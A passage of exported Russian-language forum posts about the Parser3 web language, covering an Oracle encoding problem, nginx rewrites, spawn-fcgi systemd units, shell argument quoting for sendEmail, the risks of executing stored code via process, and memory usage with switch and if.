$uri[^uri.match[^^/abc/(.+)/^$][]{/abc/$form:path[$match.1]}]"
"86160","location /standarts {\
       rewrite ^/standarts/(.+)/$ /standarts/?path=$1&$query_string;\
       rewrite ^/standarts/(.+)/(.+)$ /standarts/download.html?path=/_files/standarts/$1/$2;\
       rewrite ^/standarts/(.+)\\.doc$ /standarts/download.html?path=/_files/standarts/$1.doc;\
    }"
"86161","Всем привет.\
Подскажите, такая проблема.\
есть бд оракл 11.2.0.4 на oracle Linux 7.9 x64\
DATABASE\
[code]\
NLS_CALENDAR	GREGORIAN\
NLS_CHARACTERSET	CL8MSWIN1251\
NLS_COMP	BINARY\
NLS_CURRENCY	$\
NLS_DATE_FORMAT	DD-MON-RR\
NLS_DATE_LANGUAGE	AMERICAN\
NLS_DUAL_CURRENCY	$\
NLS_ISO_CURRENCY	AMERICA\
NLS_LANGUAGE	AMERICAN\
NLS_LENGTH_SEMANTICS	BYTE\
NLS_NCHAR_CHARACTERSET	AL16UTF16\
NLS_NCHAR_CONV_EXCP	FALSE\
NLS_NUMERIC_CHARACTERS	.,\
NLS_RDBMS_VERSION	11.2.0.4.0\
NLS_SORT	BINARY\
NLS_TERRITORY	AMERICA\
NLS_TIMESTAMP_FORMAT	DD-MON-RR HH.MI.SSXFF AM\
NLS_TIMESTAMP_TZ_FORMAT	DD-MON-RR HH.MI.SSXFF AM TZR\
NLS_TIME_FORMAT	HH.MI.SSXFF AM\
NLS_TIME_TZ_FORMAT	HH.MI.SSXFF AM TZR\
[/code]\
\
SESSION\
[code]\
Parameter	Value\
NLS_CALENDAR	GREGORIAN\
NLS_COMP	BINARY\
NLS_CURRENCY	$\
NLS_DATE_FORMAT	DD-MON-RR\
NLS_DATE_LANGUAGE	AMERICAN\
NLS_DUAL_CURRENCY	$\
NLS_ISO_CURRENCY	AMERICA\
NLS_LANGUAGE	AMERICAN\
NLS_LENGTH_SEMANTICS	BYTE\
NLS_NCHAR_CONV_EXCP	FALSE\
NLS_NUMERIC_CHARACTERS	.,\
NLS_SORT	BINARY\
NLS_TERRITORY	AMERICA\
NLS_TIMESTAMP_FORMAT	DD-MON-RR HH.MI.SSXFF AM\
NLS_TIMESTAMP_TZ_FORMAT	DD-MON-RR HH.MI.SSXFF AM TZR\
NLS_TIME_FORMAT	HH.MI.SSXFF AM\
NLS_TIME_TZ_FORMAT	HH.MI.SSXFF AM TZR\
[/code]\
\
\
\
\
Строка соединения с БД\
[code]$SQL.connect-string[oracle://system:oracle@10.0.0.10/ORCL?NLS_LANG=American_America.UTF8&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS][/code]\
\
Переменные Linux\
[code][oracle@deskdb01 ~]$ env | grep NLS*\
NLS_LANG=American_America.UTF8[/code]\
\
Вывод из консоли sqlplus самого сервера\
[code][oracle@deskdb01 ~]$ sqlplus system/oracle@orcl\
\
SQL*Plus: Release 11.2.0.4.0 Production on Fri Aug 26 11:39:25 2022\
\
Copyright (c) 1982, 2013, Oracle.  All rights reserved.\
\
\
Connected to:\
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production\
With the Partitioning, OLAP, Data Mining and Real Application Testing options\
\
SQL> select * from desk.t;\
\
NAME\
--------------------------------------------------------------------------------\
       NUM DATEINSERT\
---------- ---------------\
CHARS\
------------------------------------------------------------\
Определить какая кодировка у этого текста\
           26-AUG-22\
[/code]\
\
\
Но когда я на сайте делаю вывод этого же... \
все в вопросах\
конфиг. auto.p\
\
[code]\
@USE\
/classes/Oracle.p\
/classes/OracleComp.p\
@auto[]\
$response:cache-control[ $.value[0]]\
$response:pragma[$.value[no-cache]]\
$response:content-type[ \
   $.value[text/html] \
] \
\
$oSql[^Oracle::create[$SQL.connect-string;\
	$.sCacheDir[/../data/sql_cache]\
	$.bDebug(true)\
]]\
\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
oracle	$sqldriversdir/libparser3oracle.so	$sqldriversdir/libclntsh.so\
}]\
][/code]\
\
\
Параметры Oracle.p\
[code]\
@setServerEnvironment[]\
# set date/time format and language\
^void:sql{ALTER SESSION SET NLS_LANGUAGE=\"AMERICAN\"}\
^void:sql{ALTER SESSION SET NLS_TERRITORY=\"AMERICA\"}\
^void:sql{ALTER SESSION SET NLS_DATE_FORMAT=\"YYYY-MM-DD HH24:MI:SS\"}\
[/code]\
\
\
Но на сайте при всем при этом в выводе я вижу\
\"?????????????????????????????????????\"\
\
[code]$t[^table::sql{select chars, dateinsert, num, name from desk.t order by dateinsert desc}]\
\
<table>\
^t.menu{<tr><td>^t.line[]</td><td>$t.dateinsert</td><td>$t.name</td></tr>}\
</table>[/code]\
\
[quote]Всего строк 1\
Вывод:\
1		26-AUG-22		?????????? ????? ????????? ? ????? ??????\
\
[/quote]\
\
\
\
P.S.\
Изменение NLS_LANG на NLS_LANG=RUSSIAN_CIS.CL8MSWIN1251\
результата не дала\
\
\
############## Код тестовой страницы #############\
[code]@formTest[]\
<form method=\"post\">\
</p><input type=\"text\" name=\"name\" value=\"Определить какая кодировка у этого текста\"> Текст\
</p><button name=\"addTest\" value=\"post\">Сохранить</button>\
</form>\
\
^if(def $form:addTest){\
\
^try{\
	^rem{ *** проверяем все-ли в форме заполнено как надо *** }\
	^check[]\
	^createTestRecord[]\
}{\
		^if($exception.type eq \"name\"){\
			$exception.handled(1)\
			Поле пустое \
		}\
}\
}\
\
@createTestRecord[]\
^void:sql{truncate table desk.t} \
\
Вы внесли запись\
^void:sql{insert into desk.t (NAME) \
	values ('$form:name')}\
\
@check[]\
^if(!def $form:name){\
^throw[name;введите текст]\
}\
\
\
@listTestRecord[]\
$t[^table::sql{select chars, dateinsert, num, name from desk.t order by dateinsert desc}]\
^if(def $t){\
Всего строк ^t.count[] </p>\
Вывод: <br>\
<table>\
^t.menu{\
<tr>\
<td>^t.line[] </td><td>$t.dateinsert</td><td>$t.name</td>\
</tr>\
}\
</table>\
}{Таблица пустая}\
[/code]"
"86162","1. Все параметры подключения, которые начинаются с NLS_ парсер просто транслирует в переменные окружения. Поэтому по-идее повторив переменные окружения командной строки результат должен быть аналогичен наблюдаемому в командной строке.\
\
2. Наверняка у Oracle есть аналог show variables like \"CHAR%\" в mysql, что там?\
\
+--------------------------+----------------------------+\
| Variable_name            | Value                      |\
+--------------------------+----------------------------+\
| character_set_client     | utf8                       |\
| character_set_connection | utf8                       |\
| character_set_database   | utf8                       |\
| character_set_filesystem | binary                     |\
| character_set_results    | utf8                       |\
| character_set_server     | utf8                       |\
| character_set_system     | utf8                       |\
| character_sets_dir       | /usr/share/mysql/charsets/ |\
+--------------------------+----------------------------+\
8 rows in set (0.001 sec)\
\
\
3. Вот здесь непонятно почему не American_America.UTF8: ^void:sql{ALTER SESSION SET NLS_LANGUAGE=\"AMERICAN\"}\
\
4. Еще можно запустить парсер из консоли, где окружение уже настроено, типа ../cgi/parser3.cgi test.html  и если с русским будет все в порядке \
и лень разбираться, то запускать парсер через промежуточный шелл скрипт, который установит нужные переменные окружения, а потом запустит парсер."
"86164","В цикле вызывать sleep пока нечего передавать, потом выдать ответ.\
\
Правда в режиме CGI это будет достаточно ресурсоемко, ну и у веб-серверов/браузеров обычно есть таймаут, то есть дольше условно минуты лучше цикл не гонять."
"86165","[b]/usr/bin/spawn-fcgi-start[/b]\
[code]#!/bin/bash\
\
#\
#  /lib/systemd/system\
#   spawn-fcgi.service\
#   spawn-fcgi.socket\
#\
# systemctl daemon-reload\
#\
\
set -e\
\
if [ \"${LISTEN_PID}\" != $$ ]; then\
    echo >&2 \"file descriptors not for us, pid not matching: '${LISTEN_PID}' != '$$'\"\
    exit 255\
fi\
\
if [ \"${LISTEN_FDS}\" != \"1\" ]; then\
    echo >&2 \"Requires exactly one socket passed to fastcgi, got: '${LISTEN_FDS:-0}'\"\
    exit 255\
fi\
\
unset LISTEN_FDS\
\
# move socket from 3 to 0\
exec 0<&3\
exec 3<&-\
\
# spawn fastcgi backend\
##exec \"$@\"\
exec /usr/bin/spawn-fcgi -u www-data -g www-data -s /run/spawn-fcgi/socket -S -M 0700 -C 32 -F 1 -P /run/spawn-fcgi/pid -- /usr/bin/multiwatch -f 32 /usr/sbin/fcgiwrap\
[/code]\
\
[b]/usr/bin/spawn-fcgi-stop[/b]\
[code]\
#!/bin/sh\
\
PID=/run/spawn-fcgi/pid\
\
if [ -f $PID ] ; then\
    kill -QUIT `cat $PID`\
    rm -f $PID\
else\
    exit 0\
fi\
[/code]\
\
\
[b]/lib/systemd/system/spawn-fcgi.service  [/b]                                                                                                                              \
[code]\
[Unit]\
Description=SPAWN CGI Server\
After=nss-user-lookup.target\
Requires=spawn-fcgi.socket\
\
[Service]\
#Type=simple\
Type=forking\
User=www-data\
Group=www-data\
StandardOutput=null\
StandardError=syslog\
#ExecStart=/usr/bin/spawn-fcgi-systemd /etc/init.d/spawn-fcgi start\
#ExecStop=/usr/bin/spawn-fcgi-systemd /etc/init.d/spawn-fcgi stop\
ExecStart=/usr/bin/spawn-fcgi-start\
ExecStop=/usr/bin/spawn-fcgi-stop\
\
\
[Install]\
Also=spawn-fcgi.socket\
WantedBy=multi-user.target\
[/code]\
\
[b]/lib/systemd/system/spawn-fcgi.socket  [/b]                                                                                                                               \
[code][Unit]\
Description=spawn-fcgi Socket\
\
[Socket]\
SocketUser=www-data\
SocketGroup=www-data\
SocketMode=0600\
ListenStream=/run/fcgiwrap.socket\
\
[Install]\
WantedBy=sockets.target[/code]\
\
\
\
-----\
\
# systemctl daemon-reload\
# systemctl enable spawn-fcgi\
# systemctl start spawn-fcgi\
# systemctl status spawn-fcgi\
[code]\
● spawn-fcgi.service - SPAWN CGI Server\
   Loaded: loaded (/lib/systemd/system/spawn-fcgi.service; enabled; vendor preset: enabled)\
   Active: active (running) since Mon 2022-09-05 05:35:19 UTC; 21h ago\
 Main PID: 10692 (multiwatch)\
    Tasks: 33 (limit: 2359)\
   Memory: 14.7M\
   CGroup: /system.slice/spawn-fcgi.service\
           ├─10692 /usr/bin/multiwatch -f 32 /usr/sbin/fcgiwrap\
           ├─10693 /usr/sbin/fcgiwrap\
          ...\
           ├─10722 /usr/sbin/fcgiwrap\
           ├─10723 /usr/sbin/fcgiwrap\
           └─10724 /usr/sbin/fcgiwrap[/code]"
"86167","Извиняюсь, возможно туплю и задача решается как-то совсем легко. \
В целом, если часть выражения хранится в переменной, можно ли обойтись без ^process? например: \
$x[^string:sql{SELECT '>0']]\
и затем выполнить ^if($y ^untaint{$x}) без ошибки?"
"86168","И untaint тут совсем ни при чём.\
\
Можно использовать junction-code:\
[code]$string[^eval(2 * 2)]\
$junction{$string}\
$junction[/code]\
Но принципиально это мало что меняет.\
\
Расскажите о задаче, возможно есть более корректный путь её решения."
"86169","Есть старая большая база макросов, которые работают как матвыражения, т.е. есть операторы, есть вложенность, но синтаксис не общепринятый. \
Например, \
(фуу|бар)&бал=1?базз+10 \
преобразовывается в что-то типа \
^if(($pool.фуу || $pool.bar)&& $pool.бал==1){ $pool.базз($pool.базз + 10)}\
после чего вычисляется."
"86170","В данном случае стоит написать свой парсер выражений и выполнять только код, пришёдший от него.\
Иначе в [i]process[/i] может попасть что угодно и оно будет выполнено.\
\
Тем более, судя по примеру, синтаксис не повторяет парсерный, а значит разбор и преобразования всё равно потребуются."
"86171","Здравствуйте.\
\
Все еще периодически пытаюсь свой фреймворк догнать до версии, совместимой с Parser 3.4.6.\
\
Сейчас наткнулся на такую странность.\
\
Ранее у меня был код, который делал примерно следующее:\
Из шаблона вызывался ^render[...], а из метода ^render[...] вызывался ^_render[...] \
\
Все это происходит внутри объекта, которые имеет свой \"контекст\".\
И в методе ^_render[] - последний вызванный происходило сохранение ссылки на \"контекст\" вызова:\
\
$self._context[$caller.caller.self] - так было в 3.4.4 и все работало\
\
Обращение к переменным происходило через прокидывание GET_DEFAULT в \"родительский контекст\". Таким образом можно было получить доступ к локальным переменным, объявленным в шаблоне.\
\
На версии 3.4.6 судя по всему эта логика поменялась. И по предварительным разборам получается что $caller.caller.self (проверка происходила обращением к переменной $caller.caller.self.var) - хранит ссылку не на \"контекст вызова метода\", а кажется что на сам \"объект\", где никаких локальных переменных из места вызова-то и нет.\
\
Если обратиться к $caller.caller.var - переменная доступна.\
\
Если в объявлении класса убрать @OPTIONS locals - переменная становится доступна через caller.caller.self\
\
При этом \"шаблон\" комплириуется в Класс по запросу путем ^process[$CLASS]{...}\
\
Получается что либо изменилась логика определения \"контекста\" по caller, либо компиляция метода через process теперь использует OPTIONS, заданные для класса, а ранее не использовал.\
И нету опции в process чтобы как-то управлять эти поведением.\
\
Есть ли в этом изменении специальный замысел?\
\
Я больше склоняют к варианту, что изменилось поведение process. Поэтому было бы хорошо хотябы иметь возможность в process опцией добавить что-нибудь типа:\
locals\
- false = все переменные по-умолчанию не локальные\
- true = все переменные по-умолчанию локальные\
- без значения = наследуем от Класса, в который встроили"
"86172","Пишу метод @foreach[aArray;sVar;jCode]\
поведение простое - перебор элементов aArray, значение каждого итерационно доступно в $caller.[$sVar][$array_item]\
\
Вызов примерно такой ^foreach[$array;item]{$item.id} \
\
Проблема:\
Если до вызова foreach была определена переменна item, то после выполнения foreach ее значение будет изменено на последний элемент array.\
\
Хотелось бы иметь возможность сохранить значение item после вызова.\
\
Т.к. выполнение jCode происходит в контексте вызова и управлять видимостью переменных я не могу, то появляется идея сохранить $_oldVal[$caller.$sVar] до вызова и восстановить после завершения цикла $caller.[$sVar][$_oldVal]\
\
В принципе эта схема работает, но есть одно но!\
\
$caller.$sVar идет по всем родительским классам (если вызов из объекта) и ищет эту переменную.\
\
Хотелось бы ограничить получение переменной только конекретным контекстом.\
И для этого даже есть ^reflection:field[объект;имя поля]\
* в документации указано - \"Внимание: поиск полей по иерархии классов не производится.\"\
\
Но только работает оно для Объекта и Класса. А $caller как контекст всегда возвращает \"void\".\
\
Можно ли сделать возможность передавать $caller в качестве аргумента для reflection:field или есть другие варианты решения моей проблемы?\
\
\
* При поиске наткнулся на странное поведение, думаю это баг:\
^reflection:is[$sVar;void;$caller] - будет Exception"
"86173","Здравствуйте.\
\
Не заглядывая в исходный код парсера, не могу понять как работает в качестве веб-сервера.\
\
В частности интересует вопрос повторного чтения файлов классов с диска и их компиляции. Происходит ли?\
\
Есть ли какой-то вариант использования, где не будет происходить повторное чтения файлов классов? \
\
Я почему-то надеялся что в таком режиме можно получить выигрышь на этом."
"86174","[quote]В частности интересует вопрос повторного чтения файлов классов с диска и их компиляции. Происходит ли?[/quote]\
\
Да.\
\
[quote]Есть ли какой-то вариант использования, где не будет происходить повторное чтения файлов классов?[/quote]\
\
Нет.\
\
[quote]Я почему-то надеялся что в таком режиме можно получить выигрышь на этом.[/quote]\
\
У вас больше 100 обращений в секунду? Или десяток мегабайт кода компилируется при каждом вызове? Иначе не совсем понятно, зачем это оптимизировать. Еще не встречал проекта, где время компиляции было бы реальной проблемой."
"86175","Да, у меня достаточно много кода комплируется.\
По моим замерам, только на компиляцию уходит порядка 100мс.\
И это на достаточно быстрых устройствах. Т.е. это не проблема чтения с диска.\
\
Как раз надеялся на возможность через веб-сервер не перекомпилировать код при каждом запуске."
"86176","[quote]По моим замерам, только на компиляцию уходит порядка 100мс.\
И это на достаточно быстрых устройствах. Т.е. это не проблема чтения с диска.[/quote]\
\
Справочно: скорость компиляции на i5-4570 примерно 30Mb/sec. Возможно стоит использовать условные ^use[], чтобы не компилировать 3Mb кода на каждое обращение... А само чтение с диска да, обычно пренебрежимо мало занимает, поскольку после первого же обращение операционные системы кешируют все в память.\
\
[quote]Как раз надеялся на возможность через веб-сервер не перекомпилировать код при каждом запуске.[/quote]\
\
Это достаточно сложная история, поскольку результатом работы компилятора является дерево классов с выполненными методами @auto[]. Например один и тот же файл, реализующий наследника класса A, в один вызов может скомпилироваться успешно, в другой вызов не скомпилироваться, поскольку перед его использованием не сказали ^use[A.p], а в третий раз вообще скажут ^use[another/A.p], с другой реализацией методов класса A."
"86177","[quote]$caller.$sVar идет по всем родительским классам (если вызов из объекта) и ищет эту переменную.[/quote]\
\
Нет, никакого перебора родительских классов нет. У каждого класса хранится полный набор свойств (включая все унаследованные). Кажется это в 3.4.0 было оптимизировано.\
\
[quote]Можно ли сделать возможность передавать $caller в качестве аргумента для reflection:field или есть другие варианты решения моей проблемы?\
[/quote]\
\
Например использовать locals, если не хочется чтобы $caller.$name проверял self.\
\
[quote]* При поиске наткнулся на странное поведение, думаю это баг:\
^reflection:is[$sVar;void;$caller] - будет Exception[/quote]\
\
Если ошибка \"method_frame may not be overwritten with bool\", то так и должно быть."
"86178","И стоит точно локализовать, изменения в какой версии повлияли на работу кода. Например в 3.4.5 \"скорректирована объектная модель. Теперь корректнее говорить не «объект является экземпляром класса», а «объект имеет прототипом класс». \""
"86179","дано:\
[quote]Linux 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64 GNU/Linux\
Parser/3.4.6 (compiled on x86_64-unknown-linux-gnu)\
sendEmail.pl-1.56 by Brandon Zehm <caspian@dotconf.net>\
[/quote]\
\
[code]$args[^table::create{arg\
-l mailz.log\
-f ${lMail.From}\
-t ${lMail.To}\
-bcc anviko_bcc@test.local\
-o message-charset=utf-8\
-o message-content-type=html\
-o message-file=$ReportName\
-s $lMail.srv\
-u ^lMail.Subj.replace[$tRplace]\
}] \
\
    $script[^file::exec[/.mailz/sendEmail.pl;$.charset[utf-8];$args]] [/code]\
\
рузультат:\
[quote] sendEmail[11306]: Error: \\\"-l mailz.log\\\" is not a recognized option![/quote]\
\
делаю sendEmail.sh\
[code]#!/bin/sh\
echo ./sendEmail.pl $@ >>$0.log[/code]\
\
вьізьіваю:\
[code]    $script[^file::exec[/.mailz/sendEmail.sh;$.charset[utf-8];$args]] [/code]\
[/code]\
\
получаю sendEmail.sh.log:\
[quote]./sendEmail.pl -l mailz.log -f \"vw _TEST_A <333666999@test.local>\" -t anviko@test.local -bcc anviko_bcc@test.local -o message-charset=utf-8 -o message-content-type=html -o message-file=.log/20221128-185623.data -s smtp.test.local:25 -u [DailyReport] _TEST_A Mo 28 Nov 18:56 № 20 \
[/quote]\
\
запускаю sh sendEmail.sh.log :) : \
получаю:\
[quote]sendEmail.pl[11683]: Email was sent successfully!  From: <333666999@test.local> To: <anviko@test.local> Bcc: <anvi ....\
[/quote]\
\
меняю sendEmail.sh\
[code]#!/bin/sh\
./sendEmail.pl $@ [/code]\
\
получаю:\
[quote]sendEmail.pl[11651]: Error: \"_TEST_A\" is not a recognized option!\
[/quote]\
\
меняю sendEmail.sh \
[code]#!/bin/sh\
./sendEmail.pl $* [/code]\
\
получаю:\
[quote]sendEmail.pl[10256]: Error: \"_TEST_A\" is not a recognized option!\
[/quote]\
\
как, блин, правильно передать параметр в котором есть пробел?\
или проблема не в пробеле?\
\
если $lMail.From[333666999@test.local] - проблем запуска через sendEmail.sh нет,\
проблема только если \
$lMail.From[\"vw _TEST_A <333666999@test.local>\"]\
\
запустить напрямую sendEmail.pl -- не получается никак вообще\
\
//\
    [code]$script[^file::exec[/.mailz/sendEmail.sh;$.charset[utf-8];-l mailz.log;-f ${lMail.From};-t ${lMail.To};-bcc anviko_bcc@test.local;-o message-charset=utf-8;-o message-content-type=html;-o message-file=$ReportName;-s $lMail.srv;-u ^lMail.Subj.replace[$tRplace]]] [/code]\
-- точно так же - не работает"
"86180","По первой части, естественно должно быть не\
[code]$args[^table::create{arg\
-l mailz.log\
-f ${lMail.From}\
...\
[/code]\
а\
[code]$args[^table::create{arg\
-l\
mailz.log\
-f\
${lMail.From}\
...\
[/code]\
\
Если про sh, то\
https://stackoverflow.com/questions/26142880/how-to-escape-spaces-in"
"86182","[quote]Справочно: скорость компиляции на i5-4570 примерно 30Mb/sec[/quote]\
\
Надо запомнить. \
\
[quote]Возможно стоит использовать условные ^use[], чтобы не компилировать 3Mb кода на каждое обращение...[/quote]\
\
Все и так подключается через autouse. \
Только основные классы framework подключаются сразу. Они грузятся за 30мс.\
\
Дальше подключается приложение и там много Моделей (Классов).\
И вот к этому моменту - еще до начала выполнения основного приложения имеем уже 100мс.\
\
Здесь уже получается оптимизация против удобства/универсальности.\
\
[quote]Это достаточно сложная история, поскольку результатом работы компилятора является дерево классов с выполненными методами @auto[]. Например один и тот же файл, реализующий наследника класса A, в один вызов может скомпилироваться успешно, в другой вызов не скомпилироваться, поскольку перед его использованием не сказали ^use[A.p], а в третий раз вообще скажут ^use[another/A.p], с другой реализацией методов класса A.[/quote]\
\
Мы такой подход не используем. Неявные зависимости - потом мучаешься отлаживать. \
IoC еще можно, но тоже свои сложности в больших проектах.\
\
Я так понимаю, что сейчас даже @conf и все @auto методы выполняются для каждого \"подключения\".\
\
Вот если бы хотябы определенные классы, подключенные до httpd сервера повторно не требовалось компилировать. \
\
Тогда можно было бы подключить до httpd нужные классы и сэкономить на этом."
"86183","Мы 3.4.5 проскочили. Там уж совсем много у нас отваливалось. \
В 3.4.6 только-только запустили и нашли все моменты, требующие корректировки для совместимости.\
\
Подготовлю пример - пришлю"
"86184","... полезно уйти от схемы один файл — один класс. Это даёт существенный прирост скорости.\
\
И очень удобно использовать свойства для ленивой загрузки файлов — https://www.parser.ru/forum/?id=62248. Чтобы программа неявно подключала что требуется в процессе работы.\
\
pf2 использует ленивую загрузку везде где возможно и на больших проектах в 100мс укладывается не только загрузка классов, но и пооды в базу с десятками запросов и формирвоанием html'ек.\
\
В Парсере, PHP и других похожих языках надо крайне аккуратно планировать структуру и логику подгрузки классов. Без autouse, partial-классов и прочей магии можно сделать чёткую и понятную структуру классов с минимумом файлов. :)"
"86185","moko пишет что загрузка из нескольких файлов - не проблема. \
В принципе файлы можно объединить. Можно даже в скрипты деплоя добавить.\
\
Ленивую загрузку используем, практически везде где можем (видим).\
\
У нес достаточно массивный ORM и по замерам именно он достаточно прожорлив. Поэтому пытаемся искать возможные варианты оптимизации.\
\
100 мс на pf2 - это конечно очень хорошо. Надо будет поближе его пощупать."
"86186","Ищу утечки памяти, обращаю внимание на ever_allocated_since_start.\
\
Не могу понять как \"читать\" это значение.\
\
Запустил trace с логированием работы\
В некоторые моменты used/free не меняется. maxrss тоже не меняется.\
А ever_allocated_since_start растет.\
\
Как такое может быть?\
\
И еще, used/free на определенном кусочке кода +16КБ, а ever_allocated_since_start + 100КБ. Как это понимать?\
\
Где-то на этом участке используется потребление локальными переменными в 6 раз больше?"
"86187","[quote]Не могу понять как \"читать\" это значение.[/quote]\
\
Сколько всего памяти было аллоцировано парсером.\
\
[quote]В некоторые моменты used/free не меняется. maxrss тоже не меняется.\
А ever_allocated_since_start растет.[/quote]\
\
Библиотека сборки мусора аллоцирует память у системы блоками. used/free показывает свободные блоки. Но да, вполне возможно, что в блоках есть свободные элементы, и аллокатор использует их (и потому ever_allocated_since_start растет, а used/free не меняется).\
\
[quote]Где-то на этом участке используется потребление локальными переменными в 6 раз больше?[/quote]\
\
Без явного вызова сборки мусора, по ходу исполнения в парсере освобождаются в основном параметры методов. Так что скорее переменных было мало, а вот вызовов методов было много."
"86189","Тестировал на 3.4.6 под linux. Сборка с сайта.\
\
\
Старый код:\
\
[code]\
##############################################################################\
@static:prepare_value[sType;uData]\
	^switch[$sType]{\
		^case[double]{\
			^rem{ *** храним double в виде форматированной строки,\
				      т.к. возникают проблемы с округлением при передаче\
				      значения без круглых скобок *** }\
			$result[^uData.replace[,;.]]\
			$result(^result.double[])\
			$result[^result.format[%f]]\
			$result[^result.match[(?:\\.0+|(\\.\\d+?)0+)^$][]{$match.1}]\
		}\
		^case[int]{\
			$result(^uData.int[])\
		}\
		^case[bool]{\
			$result(^uData.bool[])\
		}\
		^case[date;datetime]{\
			^switch[$uData.CLASS_NAME]{\
				^case[hash]{\
					^if(def $uData.year || def $uData.month || def $uData.day || def $uData.hour || def $uData.minute){\
						$result[^date::create(^if(^uData.year.int($_now.year) > 99){^uData.year.int($_now.year)}{^math:floor($_now.year / 100)^eval(^uData.year.int(0))[%02.0f]};^uData.month.int($_now.month);^uData.day.int($_now.day);^uData.hour.int(0);^uData.minute.int(0);^uData.second.int(0))]\
					}{\
						$result[]\
					}\
				}\
				^case[string]{\
					^rem{ *** для пустых дат создавать пустое значение *** }\
					^if($uData eq \"0000-00-00 00:00:00\" || $uData eq \"0000-00-00\"){\
						$result[]\
					}{\
						^if(^uData.double(0)){\
							$result[^date::create($uData)]\
						}{\
							$result[^date::create[$uData]]\
						}\
					}\
				}\
				^case[DEFAULT]{\
					$result[^date::create[$uData]]\
				}\
			}\
		}\
		^case[DEFAULT]{\
			$result[$uData]\
		}\
	}\
#end @prepare_value[]\
[/code]\
\
\
Новй код:\
\
[code]\
##############################################################################\
@static:prepare_value[iType;uData]\
	^if($iType == 3){\
		^rem{ *** храним double в виде форматированной строки,\
			      т.к. возникают проблемы с округлением при передаче\
			      значения без круглых скобок *** }\
		$result[^uData.replace[,;.]]\
		$result(^result.double[])\
		$result[^result.format[%f]]\
		$result[^result.match[(?:\\.0+|(\\.\\d+?)0+)^$][]{$match.1}]\
	}($iType == 2){\
		$result(^uData.int[])\
	}($iType == 1){\
		$result(^uData.bool[])\
	}($iType == 4){\
		^switch[$uData.CLASS_NAME]{\
			^case[hash]{\
				^if(def $uData.year || def $uData.month || def $uData.day || def $uData.hour || def $uData.minute){\
					$result[^date::create(^if(^uData.year.int($_now.year) > 99){^uData.year.int($_now.year)}{^math:floor($_now.year / 100)^eval(^uData.year.int(0))[%02.0f]};^uData.month.int($_now.month);^uData.day.int($_now.day);^uData.hour.int(0);^uData.minute.int(0);^uData.second.int(0))]\
				}{\
					$result[]\
				}\
			}\
			^case[string]{\
				^rem{ *** для пустых дат создавать пустое значение *** }\
				^if($uData eq \"0000-00-00 00:00:00\" || $uData eq \"0000-00-00\"){\
					$result[]\
				}{\
					^if(^uData.double(0)){\
						$result[^date::create($uData)]\
					}{\
						$result[^date::create[$uData]]\
					}\
				}\
			}\
			^case[DEFAULT]{\
				$result[^date::create[$uData]]\
			}\
		}\
	}{\
		$result[$uData]\
	}\
#end @prepare_value[]\
[/code]\
\
В целом логика кода одна и таже. Только switch заменен на if\
sType замененный на iType существенно не влияет.\
\
Как проверялось:\
\
[code]\
	$data[^for[](0;1000){a}]\
	\
	$self.field[^DBField::create[\
		$.type[string]\
		$.name[data]\
	]]\
\
^Rusage:measure[stat]{\
	^for[i](0;100000){\
		^self.do[$data]\
	}\
}\
\
\
##############################################################################\
@do[data]\
#	$data_[$data]\
	$data_[^self.field.init[$data]]\
#end @do[]\
[/code]\
\
Смотрим на memory:used.\
\
В случае если в do просто передавать строку, то расход примерно 8 МБ.\
\
Если использовать prepare_value со switch, то расход 70МБ (!!!!).\
Если заменить switch на if, то расход 8 МБ.\
\
[i]Что за фантастика со switch?[/i]\
\
\
Если вопрос по allocated_since_start, есть ли варианты его оптимизировать?\
\
для присвоения строке - allocated_since_start = 22МБ\
при использовании switch - 198МБ\
при использовании if - 140МБ\
\
Если вынести метод из Класса, то \
switch - allocated_since_start - 162 МБ\
if - allocated_since_start -  106 МБ\
\
[i]Такой большой allocated_since_start для такого вызова это нормально?[/i]"
"86190","Если не использовать отдельный метод @do, а напрямую передавать в 		$data_[^field.init[$data]]\
\
то расход памяти падает с 8 МБ до 4 МБ.\
\
Странно что на итерацию не хватает памяти под параметры и локальные переменные и требуется аллоцировать еще память. Или я что-то не так понимаю с этим расходом?"
"86191","[quote]Что за фантастика со switch?[/quote]\
\
switch на каждый вызов создает структуру для хранения значения в switch, плюс каждый ^case это отдельный вызов метода (а if даже в случае большого числа условий это один вызов метода). Но эта память не потеряна, она вполне соберется сборщиком мусора.\
\
[quote]Такой большой allocated_since_start для такого вызова это нормально?[/quote]\
\
Для 100000 вызовов - вполне нормально. :)"
"86192","Еще один интересный кейс\
[quote]\
@main[]\
$self._not_null(^none.bool(false))\
\
^Rusage:measure[stat]{\
	^for[i](0;100000){\
		^self.do[]\
	}\
}\
\
	$console:line[^inspect[$stat]]\
\
#end @main[]\
\
\
\
##############################################################################\
@do[data]\
	$a($self._not_null)\
#	$a($self.not_null)\
#end @do[]\
\
\
\
##############################################################################\
@GET_not_null[]\
	$result[$self._not_null]\
#end @GET_not_null[]\
[/quote]\
\
Расход памяти при обращении напрямую в $self._not_null - 8 МБ\
При заворачивании через GET_not_null - 16 МБ\
\
Я так понимаю, что это из-за копирования значения в геттере? \
\
Если использовать memory:compact то расход падает.\
auto-compact тоже помогает.\
\
Но почему не хватает уже выделенной памяти? \
Из https://www.parser.ru/forum/?id=86187 я понял что \"освобождаются в основном параметры методов\" - это как раз такой случай."
"86194","То, что при выполнении большего числа действий расходуется больше памяти, логично и закономерно, разве нет? :) И да, при ручной или автоматической сборке мусора большая часть этой памяти будет освобождена."
"86195","... я немного по другому это раньше воспринимал. \
\
Надеялся что если на итерацию нам требуется 1 КБ (например) и мы хотим сделать 1000 итераций, при этом мы каждый раз используем одну и туже память. (взяли/освободили), то максимальный расход составит 1КБ.\
\
Понимаю, что мы не явно управляем расходом... Ожидал что внутри кто-то ее приберет, т.к. я явно переменные освободил.\
\
В большом проекте, с сложной логикой и зависимостями найти место где явно вызывать compact - дело хитрое.\
\
Но auto-compact в целом теперь поможет. \
\
Спасибо за ответы."
"86196","Может ли при каких-то обстоятельствах быть ситуация, когда даже в случае удаления всех имеющихся переменных (как мы считаем), used не освобождается?\
\
В приложении происходит утечка памяти.\
\
Особенно заметно на больших задачах, потоковых обработках.\
\
Подробный trace в файл (все предыдущие посты ведут к этой проблеме) показывает рост расхода с каждой итерацией. И даже обнуление всех переменных и memory:comact не позволяют дойти даже близко до состояния free хотябы в 50%\
\
Реально ли освободить хотябы 50% от выделенной памяти? (речь идет про сотни МБ и даже тысячи на процесс)\
Нормально ли это? \
